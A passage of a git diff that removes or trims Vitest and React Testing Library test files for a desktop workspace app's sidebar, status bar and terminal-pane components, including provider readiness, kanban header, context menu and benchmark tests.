vi.fn() - } -})) - -vi.mock('@/store', () => ({ - useAppStore: (selector: (state: Record) => unknown) => selector(mocks.state) -})) - -vi.mock('@/lib/local-preflight-context', () => ({ - getLocalPreflightContext: () => null, - localPreflightContextKey: () => 'local' -})) - -vi.mock('@/lib/provider-runtime-context', () => ({ - getProviderRuntimeContextKey: () => 'local' -})) - -vi.mock('@/hooks/useActiveProjectSkillRuntime', () => ({ - useActiveProjectSkillRuntime: () => ({ installDisabledReason: null }) -})) - -vi.mock('@/hooks/useLinearProviderConnected', () => ({ - useLinearProviderConnected: () => Boolean(mocks.state.linearConnected) -})) - -vi.mock('@/hooks/useInstalledAgentSkills', () => ({ - GLOBAL_AGENT_SKILL_SOURCE_KINDS: ['home'], - useInstalledAgentSkillNames: () => mocks.skill -})) - -const ALL_PROVIDERS: readonly TaskProvider[] = ['github', 'gitlab', 'linear', 'jira'] - -let root: Root | null = null -let container: HTMLDivElement | null = null -let latest: Record | null = null - -function Probe({ visibleProviders }: { visibleProviders: readonly TaskProvider[] }): null { - latest = useTaskSourceProviderReadiness(visibleProviders) - return null -} - -async function renderProbe( - visibleProviders: readonly TaskProvider[] = ALL_PROVIDERS -): Promise { - if (!container) { - container = document.createElement('div') - document.body.appendChild(container) - root = createRoot(container) - } - await act(async () => { - root?.render() - }) -} - -beforeEach(() => { - mocks.state = { - settings: {}, - preflightStatus: { - gh: { installed: true, authenticated: true }, - glab: { installed: true, authenticated: true } - }, - preflightStatusChecked: true, - preflightStatusContextKey: 'local', - preflightStatusError: null, - preflightStatusLoading: false, - jiraStatus: { connected: true }, - jiraStatusChecked: true, - jiraStatusContextKey: 'local', - linearStatusChecked: true, - linearStatusContextKey: 'local', - linearConnected: true - } - mocks.skill = { - installed: true, - loading: false, - settled: true, - installedUnverifiable: false, - error: null, - skills: [], - sources: [], - refresh: vi.fn() - } -}) - -afterEach(async () => { - if (root) { - await act(async () => { - root?.unmount() - }) - } - root = null - container?.remove() - container = null - latest = null -}) - -describe('useTaskSourceProviderReadiness', () => { - it('reports every provider connected once checks land cleanly', async () => { - await renderProbe() - - expect(latest?.github).toMatchObject({ connected: true, checking: false }) - expect(latest?.gitlab).toMatchObject({ connected: true, checking: false }) - expect(latest?.jira).toMatchObject({ connected: true, checking: false }) - expect(latest?.linear).toMatchObject({ - connected: true, - checking: false, - skillInstalled: true, - skillChecking: false - }) - }) - - it('does not read code-host connection facts out of a failed preflight snapshot', async () => { - mocks.state.preflightStatusError = 'preflight failed' - - await renderProbe() - - expect(latest?.github.connected).toBe(false) - expect(latest?.gitlab.connected).toBe(false) - expect(latest?.github.unavailable).toBe(true) - expect(latest?.gitlab.unavailable).toBe(true) - }) - - it('keeps the known skill result while a focus-triggered rescan is in flight', async () => { - mocks.skill = { ...mocks.skill, loading: true, settled: true } - - await renderProbe() - - expect(latest?.linear).toMatchObject({ skillInstalled: true, skillChecking: false }) - }) - - it('reports the skill as checking until the first scan settles', async () => { - mocks.skill = { ...mocks.skill, installed: false, loading: true, settled: false } - - await renderProbe() - - expect(latest?.linear).toMatchObject({ skillInstalled: false, skillChecking: true }) - }) - - it('marks providers hidden when they are not in the visible list', async () => { - await renderProbe(['github', 'linear']) - - expect(latest?.github.visible).toBe(true) - expect(latest?.linear.visible).toBe(true) - expect(latest?.gitlab.visible).toBe(false) - expect(latest?.jira.visible).toBe(false) - }) - - it('recomputes visibility when the provider list changes', async () => { - await renderProbe(['github', 'linear']) - expect(latest?.jira.visible).toBe(false) - - await renderProbe(['github', 'linear', 'jira']) - expect(latest?.jira.visible).toBe(true) - }) - - it('carries an unverifiable skill scan through to Linear readiness', async () => { - mocks.skill = { ...mocks.skill, installed: false, installedUnverifiable: true } - await renderProbe() - - expect(latest?.linear.skillInstalled).toBe(false) - expect(latest?.linear.skillUnverifiable).toBe(true) - }) -}) diff --git a/src/renderer/src/components/sidebar/ProjectGroupDeleteDialog.test.tsx b/src/renderer/src/components/sidebar/ProjectGroupDeleteDialog.test.tsx index 736ce012f0d..ff21c1c9cfc 100644 --- a/src/renderer/src/components/sidebar/ProjectGroupDeleteDialog.test.tsx +++ b/src/renderer/src/components/sidebar/ProjectGroupDeleteDialog.test.tsx @@ -60,52 +60,12 @@ function getCheckbox(): HTMLButtonElement { } describe('ProjectGroupDeleteDialog', () => { - it('omits the contained project panel for empty groups', () => { - renderDialog({ projectCount: 0 }) - - expect(document.body.querySelector('[role="checkbox"]')).toBeNull() - expect(document.body.textContent).not.toContain('contained project') - }) - - it('renders compact contained project handling and reports remove intent', () => { - const onRemoveContainedProjectsChange = vi.fn() - renderDialog({ onRemoveContainedProjectsChange }) - - expect(document.body.textContent).toContain('Delete Platform.') - expect(document.body.textContent).toContain('Contained projects') - expect(document.body.textContent).not.toContain('unless selected below') - expect(getCheckbox().getAttribute('aria-checked')).toBe('false') - expect(document.body.textContent).toContain('Remove 2 contained projects') - expect(document.body.textContent).not.toContain('Remove 2 contained projects from Orca') - expect(document.body.textContent).toContain('Project folders on disk are not deleted.') - expect(document.body.textContent).toContain('API') - expect(document.body.textContent).toContain('Web app') - - act(() => { - getCheckbox().click() - }) - - expect(onRemoveContainedProjectsChange).toHaveBeenCalledWith(true) - }) - it('focuses the delete group action when opened', () => { renderDialog() expect(document.activeElement).toBe(findButton('Delete Group')) }) - it('keeps the panel copy and destructive action label stable when project removal is selected', () => { - renderDialog({ removeContainedProjects: true }) - - expect(document.body.textContent).toContain('Delete Platform.') - expect(document.body.textContent).not.toContain('will stay in Orca') - expect(document.body.textContent).not.toContain('will be removed from Orca') - expect(document.body.textContent).not.toContain('unless selected below') - expect(getCheckbox().getAttribute('aria-checked')).toBe('true') - expect(findButton('Delete Group')).toBeTruthy() - expect(document.body.textContent).not.toContain('Delete Group and Remove Projects') - }) - it('disables project choices, cancel, and delete actions while deleting', async () => { let finishConfirm: () => void = () => undefined const onConfirm = vi.fn( diff --git a/src/renderer/src/components/sidebar/WorkspaceKanbanDrawerHeader.test.tsx b/src/renderer/src/components/sidebar/WorkspaceKanbanDrawerHeader.test.tsx deleted file mode 100644 index 3fe2c7fc5a3..00000000000 --- a/src/renderer/src/components/sidebar/WorkspaceKanbanDrawerHeader.test.tsx +++ /dev/null @@ -1,140 +0,0 @@ -import React, { isValidElement } from 'react' -import { describe, expect, it, vi } from 'vitest' -import { SheetHeader, SheetTitle } from '@/components/ui/sheet' -import type { WorkspaceStatusDefinition } from '../../../../shared/worktree/types' -import SidebarFilter from './SidebarFilter' -import WorkspaceKanbanDrawerHeader from './WorkspaceKanbanDrawerHeader' -import WorkspaceKanbanSearchField from './WorkspaceKanbanSearchField' -import WorkspaceKanbanSettingsMenu from './WorkspaceKanbanSettingsMenu' - -type InspectableProps = { - children?: React.ReactNode - className?: string - 'aria-label'?: string - onClick?: () => void -} - -const statuses: WorkspaceStatusDefinition[] = [{ id: 'todo', label: 'Todo' }] - -function findNode( - node: React.ReactNode, - predicate: (element: React.ReactElement) => boolean -): React.ReactElement | null { - if (!isValidElement(node)) { - return null - } - if (predicate(node)) { - return node - } - let match: React.ReactElement | null = null - React.Children.forEach(node.props.children, (child) => { - if (match) { - return - } - match = findNode(child, predicate) - }) - return match -} - -function findElement( - node: React.ReactNode, - predicate: (props: InspectableProps) => boolean -): React.ReactElement | null { - return findNode(node, (element) => predicate(element.props)) -} - -function findByType( - node: React.ReactNode, - type: React.ElementType -): React.ReactElement | null { - return findNode(node, (element) => element.type === type) -} - -function renderHeader( - onClose: () => void, - overrides: Partial[0]> = {} -): React.ReactElement { - return WorkspaceKanbanDrawerHeader({ - selectedCount: 0, - query: '', - isFiltering: false, - isTooLarge: false, - matchCount: 0, - totalCount: 0, - onQueryChange: vi.fn(), - onClearQuery: vi.fn(), - workspaceStatuses: statuses, - syncTaskStatusFromWorkspaceBoard: false, - onSyncTaskStatusFromWorkspaceBoardChange: vi.fn(), - onRenameStatus: vi.fn(), - onChangeStatusColor: vi.fn(), - onChangeStatusIcon: vi.fn(), - onMoveStatus: vi.fn(), - onRemoveStatus: vi.fn(), - onAddStatus: vi.fn(), - onFilterMenuOpenChange: vi.fn(), - onClose, - ...overrides - }) -} - -describe('WorkspaceKanbanDrawerHeader', () => { - it('routes the close button through the explicit drawer close callback', () => { - const onClose = vi.fn() - const closeButton = findElement( - renderHeader(onClose), - (props) => props['aria-label'] === 'Close' - ) - - expect(closeButton?.props.onClick).toBe(onClose) - - closeButton?.props.onClick?.() - - expect(onClose).toHaveBeenCalledOnce() - }) - - it('renders the search field as a sibling of the sheet title, not inside it', () => { - const header = renderHeader(vi.fn(), { - query: 'orca', - isFiltering: true, - matchCount: 2, - totalCount: 15 - }) - - const title = findByType(header, SheetTitle) - expect(title).not.toBeNull() - expect(findByType(title, WorkspaceKanbanSearchField)).toBeNull() - - const field = findByType(header, WorkspaceKanbanSearchField) - expect(field?.props).toMatchObject({ - query: 'orca', - isFiltering: true, - matchCount: 2, - totalCount: 15 - }) - }) - - it('keeps the filter, settings, and close cluster reachable alongside the field', () => { - const header = renderHeader(vi.fn(), { - query: 'orca', - isFiltering: true, - matchCount: 2, - totalCount: 15 - }) - - expect(findByType(header, SidebarFilter)).not.toBeNull() - expect(findByType(header, WorkspaceKanbanSettingsMenu)).not.toBeNull() - expect(findElement(header, (props) => props['aria-label'] === 'Close')).not.toBeNull() - }) - - it('keeps the selected-count badge and the field clear of the control cluster', () => { - const header = renderHeader(vi.fn(), { selectedCount: 3, query: 'orca' }) - - expect(findByType(header, SheetTitle)?.props.className).toContain('shrink-0') - expect(findByType(header, SheetHeader)?.props.className).toContain('pr-32') - expect( - findElement(header, (props) => Boolean(props.className?.includes('rounded-full'))) - ).not.toBeNull() - expect(findByType(header, WorkspaceKanbanSearchField)).not.toBeNull() - }) -}) diff --git a/src/renderer/src/components/sidebar/WorktreeDeveloperMenuReveal.test.tsx b/src/renderer/src/components/sidebar/WorktreeDeveloperMenuReveal.test.tsx deleted file mode 100644 index 7779697b451..00000000000 --- a/src/renderer/src/components/sidebar/WorktreeDeveloperMenuReveal.test.tsx +++ /dev/null @@ -1,138 +0,0 @@ -// @vitest-environment happy-dom -/** Exercise modifier wiring through the real right-click handler; unit-testing the reveal predicate cannot catch an unconditional submenu. */ -import { cleanup, fireEvent, render, screen } from '@testing-library/react' -import type { ReactNode } from 'react' -import { afterEach, describe, expect, it, vi } from 'vitest' -import type { Worktree } from '../../../../shared/worktree/types' - -vi.mock('@/store', () => { - const state = { - unifiedTabsByWorktree: {}, - tabsByWorktree: {}, - ptyIdsByTabId: {}, - browserTabsByWorktree: {}, - deleteStateByWorktreeId: {}, - worktreeLineageById: {}, - workspaceLineageByChildKey: {}, - workspaceStatuses: [], - projectGroups: [], - settings: null, - updateWorktreeMeta: vi.fn(), - setWorktreesPinnedAndReveal: vi.fn(), - openModal: vi.fn(), - createProjectGroup: vi.fn(), - moveProjectToGroup: vi.fn(), - deleteFolderWorkspace: vi.fn(), - setActiveWorktree: vi.fn() - } - return { - useAppStore: Object.assign((selector: (value: typeof state) => unknown) => selector(state), { - getState: () => state - }) - } -}) - -vi.mock('@/store/selectors', () => { - const emptyWorktrees: never[] = [] - const emptyMap = new Map() - return { - getAllWorktreesFromState: () => emptyWorktrees, - useRepoById: () => null, - getRepoMapFromState: () => emptyMap, - getWorktreeMapFromState: () => emptyMap - } -}) - -vi.mock('@/i18n/i18n', () => ({ translate: (_key: string, fallback: string) => fallback })) - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: ReactNode }) => <>{children}, - TooltipContent: () => null, - TooltipTrigger: ({ children }: { children: ReactNode }) => <>{children} -})) - -// Mock layout-dependent Radix portals so this test isolates the reveal decision. -vi.mock('@/components/ui/dropdown-menu', () => { - const passthrough = ({ children }: { children?: ReactNode }) => <>{children} - return { - DropdownMenu: passthrough, - DropdownMenuContent: passthrough, - DropdownMenuItem: passthrough, - DropdownMenuLabel: passthrough, - DropdownMenuRadioGroup: passthrough, - DropdownMenuRadioItem: passthrough, - DropdownMenuSeparator: () => null, - DropdownMenuSub: passthrough, - DropdownMenuSubContent: passthrough, - DropdownMenuSubTrigger: passthrough, - DropdownMenuTrigger: passthrough, - DropdownMenuShortcut: passthrough - } -}) - -vi.mock('./WorktreeOpenInMenu', () => ({ WorktreeOpenInSubMenu: () => null })) -vi.mock('./ProjectGroupNameDialog', () => ({ ProjectGroupNameDialog: () => null })) -vi.mock('./WorktreeParentPickerPopover', () => ({ WorktreeParentPickerPopover: () => null })) -vi.mock('@/lib/worktree-activation', () => ({ activateAndRevealWorktree: vi.fn() })) -vi.mock('./delete-worktree-flow', () => ({ - runWorktreeBatchDelete: vi.fn(), - runWorktreeDelete: vi.fn() -})) -vi.mock('./sleep-worktree-flow', () => ({ runSleepWorktrees: vi.fn() })) - -const WorktreeContextMenu = (await import('./WorktreeContextMenu')).default - -function makeWorktree(): Worktree { - return { - id: 'repo-1::/repo/wt', - repoId: 'repo-1', - path: '/repo/wt', - displayName: 'wt', - branch: 'wt', - head: 'abc123', - isBare: false, - isMainWorktree: false, - comment: '', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 0 - } as Worktree -} - -// Read textContent because passthrough labels are bare text nodes that getByText cannot match. -function openContextMenu(altKey: boolean): string { - const { container } = render( - -
card
-
- ) - fireEvent.contextMenu(screen.getByTestId('card'), { altKey }) - return container.textContent ?? '' -} - -describe('Developer submenu reveal', () => { - afterEach(() => { - cleanup() - vi.clearAllMocks() - }) - - it('hides the Developer submenu on a plain right-click', () => { - const text = openContextMenu(false) - - expect(text).toContain('Sleep') - expect(text).not.toContain('Developer') - expect(text).not.toContain('Park terminal') - }) - - it('reveals the Developer submenu when Option/Alt is held', () => { - const text = openContextMenu(true) - - expect(text).toContain('Developer') - expect(text).toContain('Park terminal') - }) -}) diff --git a/src/renderer/src/components/sidebar/WorktreeList.empty-project-rows.test.ts b/src/renderer/src/components/sidebar/WorktreeList.empty-project-rows.test.ts deleted file mode 100644 index 54db86d6dcb..00000000000 --- a/src/renderer/src/components/sidebar/WorktreeList.empty-project-rows.test.ts +++ /dev/null @@ -1,135 +0,0 @@ -import { beforeAll, describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../../../shared/repo-types' -import { - createAppStoreModuleMock, - createDropdownMenuModuleMock, - createProjectHeaderDragModuleMock, - createReactVirtualModuleMock, - createTooltipModuleMock, - createVirtualizedScrollAnchorModuleMock, - createWorktreeCardAgentsModuleMock, - createWorktreeCardModuleMock, - createWorktreeContextMenuModuleMock, - createWorktreeTitleInlineRenameModuleMock, - loadWorktreeList, - mockStore, - renderWorktreeListMarkup -} from './worktree-list-lineage-card-test-harness' -import { - makeFolderWorkspacePathStatusMockState, - makeFolderWorkspacePathStatusState, - makeRepo -} from './worktree-list-lineage-card-test-fixtures' - -vi.mock('@/store', () => createAppStoreModuleMock()) -vi.mock('@tanstack/react-virtual', () => createReactVirtualModuleMock()) -vi.mock('@/hooks/useVirtualizedScrollAnchor', () => createVirtualizedScrollAnchorModuleMock()) -vi.mock('./project-header-drag', () => createProjectHeaderDragModuleMock()) -vi.mock('./WorktreeCard', () => createWorktreeCardModuleMock()) -vi.mock('./WorktreeCardAgents', () => createWorktreeCardAgentsModuleMock()) -vi.mock('./WorktreeTitleInlineRename', () => createWorktreeTitleInlineRenameModuleMock()) -vi.mock('./WorktreeContextMenu', () => createWorktreeContextMenuModuleMock()) -vi.mock('@/components/ui/tooltip', () => createTooltipModuleMock()) -vi.mock('@/components/ui/dropdown-menu', () => createDropdownMenuModuleMock()) - -function setEmptyUngroupedProjectState(filterRepoIds: string[] = []): void { - const repo: Repo = { - ...makeRepo(), - displayName: 'empty-project' - } - - mockStore.state = { - ...makeFolderWorkspacePathStatusMockState(), - startupWorktreeRefreshCompleted: true, - activeModal: '', - activeView: 'terminal', - activeWorktreeId: null, - agentStatusEpoch: 0, - agentStatusByPaneKey: {}, - browserTabsByWorktree: {}, - clearPendingRevealWorktreeId: vi.fn(), - collapsedGroups: new Set(), - deleteStateByWorktreeId: {}, - filterRepoIds, - ...makeFolderWorkspacePathStatusState(), - groupBy: 'repo', - hideDefaultBranchWorkspace: false, - issueCache: {}, - migrationUnsupportedByPtyId: {}, - openModal: vi.fn(), - pendingRevealWorktree: null, - prCache: {}, - prVisibleRefreshGeneration: 0, - projectGroups: [], - ptyIdsByTabId: {}, - reorderRepos: vi.fn(), - reportVisibleGitHubPRRefreshCandidates: vi.fn(), - retainedAgentsByPaneKey: {}, - repos: [repo], - runtimePaneTitlesByTabId: {}, - setFilterRepoIds: vi.fn(), - setHideDefaultBranchWorkspace: vi.fn(), - setRenamingWorktreeId: vi.fn(), - setShowSleepingWorkspaces: vi.fn(), - setSortBy: vi.fn(), - settings: null, - renamingWorktreeId: null, - showSleepingWorkspaces: true, - sortBy: 'recent', - sortEpoch: 0, - sshConnectedGeneration: 0, - sshConnectionStates: new Map(), - sshTargetLabels: new Map(), - tabsByWorktree: {}, - terminalLayoutsByTabId: {}, - toggleCollapsedGroup: vi.fn(), - updateWorktreeMeta: vi.fn(), - updateWorktreesMeta: vi.fn(), - workspaceHostScope: 'all', - workspaceStatuses: [], - worktreeCardProperties: ['status', 'inline-agents'], - worktreeLineageById: {}, - worktreesByRepo: { - [repo.id]: [] - } - } -} - -describe('WorktreeList lineage child card renderer', () => { - beforeAll(async () => { - await loadWorktreeList() - }, 60_000) - - it('does not render the collapse affordance on empty ungrouped projects', async () => { - setEmptyUngroupedProjectState() - const markup = await renderWorktreeListMarkup() - - expect(markup).not.toContain('data-repo-header-collapse-affordance=""') - }) - - it('renders an empty ungrouped project instead of the empty workspace state', async () => { - setEmptyUngroupedProjectState() - const markup = await renderWorktreeListMarkup() - - expect(markup).toContain('empty-project') - expect(markup).not.toContain('No workspaces found') - }) - - it('shows Clear Filters when repo filters exclude an empty ungrouped project', async () => { - setEmptyUngroupedProjectState(['another-repo']) - const markup = await renderWorktreeListMarkup() - - expect(markup).toContain('No workspaces found') - expect(markup).toContain('Clear Filters') - expect(markup).not.toContain('empty-project') - }) - - it('waits for discovery before reporting that no workspaces were found', async () => { - setEmptyUngroupedProjectState(['another-repo']) - mockStore.state.startupWorktreeRefreshCompleted = false - const markup = await renderWorktreeListMarkup() - - expect(markup).not.toContain('No workspaces found') - expect(markup).toContain('Clear Filters') - }) -}) diff --git a/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.store-subscriptions.test.tsx b/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.store-subscriptions.test.tsx index cef4b75a3b6..3f1f5eac6dc 100644 --- a/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.store-subscriptions.test.tsx +++ b/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.store-subscriptions.test.tsx @@ -138,89 +138,6 @@ describe('useWorktreeCardSecondaryDetails store subscriptions', () => { unmount() expect(listenerCount()).toBe(baseline) }) - - it('reads the cache TTL from the passed settings', () => { - let cacheTtlMs = -1 - function Probe({ ttl }: { ttl: number }): null { - cacheTtlMs = useWorktreeCardSecondaryDetails( - secondaryDetailsArgs(makeSettings(ttl)) - ).cacheTtlMs - return null - } - - mount() - expect(cacheTtlMs).toBe(300_000) - - act(() => root?.render()) - expect(cacheTtlMs).toBe(120_000) - }) - - it('reports no TTL while the aggregate cache timer is suppressed', () => { - let cacheTtlMs = -1 - function Probe(): null { - // compactCards suppresses the aggregate timer row. - cacheTtlMs = useWorktreeCardSecondaryDetails({ - ...secondaryDetailsArgs(makeSettings(300_000)), - compactCards: true - }).cacheTtlMs - return null - } - - mount() - expect(cacheTtlMs).toBe(0) - }) - - it('writes a suppression tombstone when the user unlinks a displayed GitHub PR', async () => { - const updateWorktreeMeta = vi.fn().mockResolvedValue({ ok: true }) - let unlink: (() => Promise) | null = null - function Probe(): null { - const details = useWorktreeCardSecondaryDetails({ - ...secondaryDetailsArgs(makeSettings(300_000)), - worktree: { ...makeWorktree(), hostId: 'ssh:builder' }, - prDisplay: { - provider: 'github', - number: 42, - title: 'Branch PR' - }, - updateWorktreeMeta: updateWorktreeMeta as never - }) - unlink = details.handleUnlinkReview - return null - } - - mount() - await act(() => unlink?.()) - - expect(updateWorktreeMeta).toHaveBeenCalledWith( - WORKTREE_ID, - { linkedPR: null, suppressedGitHubPR: 42 }, - { executionHostId: 'ssh:builder' } - ) - }) - - it('surfaces a failed GitHub unlink after the optimistic card update is reverted', async () => { - const updateWorktreeMeta = vi.fn().mockResolvedValue({ - ok: false, - error: 'Update the remote runtime to unlink GitHub pull requests' - }) - let unlink: (() => Promise) | null = null - function Probe(): null { - const details = useWorktreeCardSecondaryDetails({ - ...secondaryDetailsArgs(makeSettings(300_000)), - prDisplay: { provider: 'github', number: 42, title: 'Branch PR' }, - updateWorktreeMeta: updateWorktreeMeta as never - }) - unlink = details.handleUnlinkReview - return null - } - - mount() - await act(() => unlink?.()) - - expect(mocks.toastError).toHaveBeenCalledWith( - 'Update the remote runtime to unlink GitHub pull requests' - ) - }) it('unlinks the chosen sibling while retaining the selected review and other sources', async () => { const primary: WorkspaceAttachment = { provider: 'github', diff --git a/src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx b/src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx deleted file mode 100644 index c3ee27bb9e5..00000000000 --- a/src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx +++ /dev/null @@ -1,132 +0,0 @@ -// @vitest-environment happy-dom -import { act } from 'react' -import { createRoot } from 'react-dom/client' -import { writeFileSync } from 'node:fs' -import { expect, it } from 'vitest' -import { useAppStore } from '@/store' -import { readStoreListenerCount } from '@/store/store-listener-census' -import { makeTab } from '@/store/slices/store-test-helpers' -import { makePaneKey } from '../../../../shared/stable-pane-id' -import type { AgentStatusEntry } from '../../../../shared/agent-status-types' -import { useWorktreeAgentRows } from './useWorktreeAgentRows' -import { useShallow } from 'zustand/react/shallow' -import { selectAgentRowsUnread } from './worktree-card-agent-ack-inputs' - -Reflect.set(globalThis, 'IS_REACT_ACT_ENVIRONMENT', true) - -type Round = { elapsedMs: number; cpuMs: number; renders: number } -type Result = { active: boolean; listeners: number; rounds: Round[] } - -const LEAF = '11111111-1111-4111-8111-111111111111' -const CARDS = Number(process.env.ORCA_BENCH_CARDS ?? 100) -const WRITES = Number(process.env.ORCA_BENCH_WRITES ?? 500) - -it.skipIf(!process.env.ORCA_AGENT_ROWS_BENCH)( - 'measures mounted agent row subscriptions', - () => { - const original = useAppStore.getState() - const tabsByWorktree = Object.fromEntries( - Array.from({ length: CARDS }, (_, index) => { - const worktreeId = `wt-${index}` - return [worktreeId, [makeTab({ id: `tab-${index}`, worktreeId })]] - }) - ) - const entries: Record = {} - for (let index = 0; index < CARDS; index += 1) { - const paneKey = makePaneKey(`tab-${index}`, LEAF) - entries[paneKey] = { - paneKey, - tabId: `tab-${index}`, - worktreeId: `wt-${index}`, - state: 'working', - agentType: 'claude', - prompt: 'Do work', - updatedAt: Date.now(), - stateStartedAt: Date.now(), - stateHistory: [] - } - } - useAppStore.setState({ - tabsByWorktree, - agentStatusByPaneKey: entries, - unifiedTabsByWorktree: {}, - runtimePaneTitlesByTabId: {}, - ptyIdsByTabId: {}, - terminalLayoutsByTabId: {}, - retainedAgentsByPaneKey: {}, - runtimeAgentOrchestrationByPaneKey: {}, - paneForegroundAgentByPaneKey: {} - }) - const container = document.createElement('div') - document.body.appendChild(container) - const root = createRoot(container) - const results: Result[] = [] - try { - // A visible compact card uses both hooks; hidden details keep only the inactive hook. - for (const active of [true, false]) { - let renders = 0 - function VisibleProbe({ index }: { index: number }) { - const rows = useWorktreeAgentRows(`wt-${index}`, true) - useWorktreeAgentRows(`wt-${index}`, false) - useAppStore(useShallow((state) => selectAgentRowsUnread(state, rows))) - renders += 1 - return null - } - function HiddenProbe({ index }: { index: number }) { - useWorktreeAgentRows(`wt-${index}`, false) - renders += 1 - return null - } - const Probe = active ? VisibleProbe : HiddenProbe - const baselineListeners = readStoreListenerCount() ?? 0 - act(() => - root.render( - Array.from({ length: CARDS }, (_, index) => ) - ) - ) - const listeners = (readStoreListenerCount() ?? 0) - baselineListeners - const rounds: Round[] = [] - for (let round = 0; round < 6; round += 1) { - const beforeRenders = renders - const cpuStart = process.cpuUsage() - const start = performance.now() - for (let index = 0; index < WRITES; index += 1) { - const key = makePaneKey(`tab-${index % CARDS}`, LEAF) - act(() => { - const previous = useAppStore.getState().agentStatusByPaneKey - useAppStore.setState({ - agentStatusByPaneKey: { - ...previous, - [key]: { ...previous[key], updatedAt: Date.now(), toolName: `tool-${index}` } - } - }) - }) - } - const elapsedMs = performance.now() - start - const cpu = process.cpuUsage(cpuStart) - expect(renders - beforeRenders).toBe(active ? WRITES : 0) - if (round > 0) { - rounds.push({ - elapsedMs, - cpuMs: (cpu.user + cpu.system) / 1000, - renders: renders - beforeRenders - }) - } - } - results.push({ active, listeners, rounds }) - act(() => root.render(null)) - expect(readStoreListenerCount()).toBe(baselineListeners) - } - const report = { cards: CARDS, writes: WRITES, results } - console.log(JSON.stringify(report)) - if (process.env.ORCA_BENCH_OUTPUT) { - writeFileSync(process.env.ORCA_BENCH_OUTPUT, `${JSON.stringify(report, null, 2)}\n`) - } - } finally { - act(() => root.unmount()) - container.remove() - useAppStore.setState(original, true) - } - }, - 120_000 -) diff --git a/src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts b/src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts deleted file mode 100644 index c7e00d9b4f2..00000000000 --- a/src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts +++ /dev/null @@ -1,140 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - resolveResourceUsageSpaceScanReady, - type ResourceUsageSpaceScanSnapshot -} from './resource-usage-space-scan-ready' - -const baseSnapshot: ResourceUsageSpaceScanSnapshot = { - ready: false, - previousScanning: false, - lastSeenScannedAt: null -} - -describe('resolveResourceUsageSpaceScanReady', () => { - it('marks Space results ready when a scan finishes away from the resource popover and Space page', () => { - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: { ...baseSnapshot, previousScanning: true }, - open: false, - activeView: 'terminal', - scannedAt: 100, - scanning: false - }) - ).toEqual({ - ready: true, - previousScanning: false, - lastSeenScannedAt: 100 - }) - }) - - it('does not show the ready handoff when results finish while already visible', () => { - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: { ...baseSnapshot, previousScanning: true }, - open: true, - activeView: 'terminal', - scannedAt: 100, - scanning: false - }) - ).toEqual({ - ready: false, - previousScanning: false, - lastSeenScannedAt: 100 - }) - - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: { ...baseSnapshot, previousScanning: true }, - open: false, - activeView: 'space', - scannedAt: 100, - scanning: false - }).ready - ).toBe(false) - }) - - it('clears the handoff once the popover or Space page is opened', () => { - const readySnapshot = { - ready: true, - previousScanning: false, - lastSeenScannedAt: 100 - } - - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: readySnapshot, - open: true, - activeView: 'terminal', - scannedAt: 100, - scanning: false - }) - ).toEqual({ - ready: false, - previousScanning: false, - lastSeenScannedAt: 100 - }) - - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: readySnapshot, - open: false, - activeView: 'space', - scannedAt: 100, - scanning: false - }).ready - ).toBe(false) - }) - - it('does not announce the same scan completion twice', () => { - const result = resolveResourceUsageSpaceScanReady({ - snapshot: { - ready: false, - previousScanning: true, - lastSeenScannedAt: 100 - }, - open: false, - activeView: 'terminal', - scannedAt: 100, - scanning: false - }) - - expect(result.ready).toBe(false) - expect(result.lastSeenScannedAt).toBe(100) - }) - - it('keeps local Space scan handoffs independent of remote runtime focus', () => { - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: { - ready: true, - previousScanning: true, - lastSeenScannedAt: 100 - }, - open: false, - activeView: 'terminal', - scannedAt: 200, - scanning: true - }) - ).toEqual({ - ready: true, - previousScanning: true, - lastSeenScannedAt: 100 - }) - }) - - it('tracks scanning starts without changing readiness', () => { - expect( - resolveResourceUsageSpaceScanReady({ - snapshot: baseSnapshot, - open: false, - activeView: 'terminal', - scannedAt: null, - scanning: true - }) - ).toEqual({ - ready: false, - previousScanning: true, - lastSeenScannedAt: null - }) - }) -}) diff --git a/src/renderer/src/components/terminal-pane/renderer-owned-agent-status-registry.test.ts b/src/renderer/src/components/terminal-pane/renderer-owned-agent-status-registry.test.ts index ff9f6c220da..6b69ea9d10d 100644 --- a/src/renderer/src/components/terminal-pane/renderer-owned-agent-status-registry.test.ts +++ b/src/renderer/src/components/terminal-pane/renderer-owned-agent-status-registry.test.ts @@ -24,12 +24,6 @@ describe('renderer-owned agent status registry', () => { expect(isClientAuthoritativeAgentStatusPane(PANE)).toBe(true) }) - it('ignores writes for panes that never registered', () => { - markRendererOwnedAgentStatusWrite(OTHER_PANE) - expect(isClientAuthoritativeAgentStatusPane(OTHER_PANE)).toBe(false) - expect(_getRendererOwnedAgentStatusPaneCountForTest()).toBe(0) - }) - it('cedes authority on teardown and leaks no entry', () => { const release = registerRendererOwnedAgentStatusPane(PANE, ENV) markRendererOwnedAgentStatusWrite(PANE) @@ -41,14 +35,6 @@ describe('renderer-owned agent status registry', () => { expect(isClientAuthoritativeAgentStatusPane(PANE)).toBe(false) }) - it('keeps the earned claim across a remount in the same environment', () => { - registerRendererOwnedAgentStatusPane(PANE, ENV) - markRendererOwnedAgentStatusWrite(PANE) - registerRendererOwnedAgentStatusPane(PANE, ENV) - expect(isClientAuthoritativeAgentStatusPane(PANE)).toBe(true) - 